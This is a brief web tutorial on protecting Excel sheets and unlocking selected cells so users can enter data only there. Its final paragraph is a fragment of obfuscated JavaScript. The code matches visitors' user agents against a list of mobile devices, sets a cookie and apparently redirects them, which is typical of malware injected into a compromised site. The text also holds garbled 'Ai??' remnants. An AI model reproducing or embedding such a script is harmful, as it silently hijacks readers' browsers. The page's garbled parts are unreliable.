Locking and Protecting Cells in Excel

Locking down all Cells:

There are times when working in Excel that you want to protect an entire worksheet from someone making changes to it, without protecting the entire workbook. Excel allows you to protect a particular sheet.

To simply protect the sheet your working on, right click the worksheet tab and select Protect Sheet

From here it gives you the option to password protect

You can even restrict whether you want them to select the cells that are protected

Note: Deselecting ‘Select locked Cells’ option means the user won’t be able to click into the cells within that sheet

Ai??

Unlocking certain cells:

To give the user only access to certain cells, you first have to unlock the cells that you want the user to enter data into

So highlight these cells and right click anywhere within the highlighted area;

Ai??

Tip: To highlight multiple areas (as above), use the CTRL Key when highlighting

In the right click menu, select the Format cells option

Under the protection tab in the Format cells dialog box, untick the Locked option

Now when you password protect this sheet, the user will only be able to enter data into the cells you have just unlocked.

Ai??

Ai??

Ai??

k\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}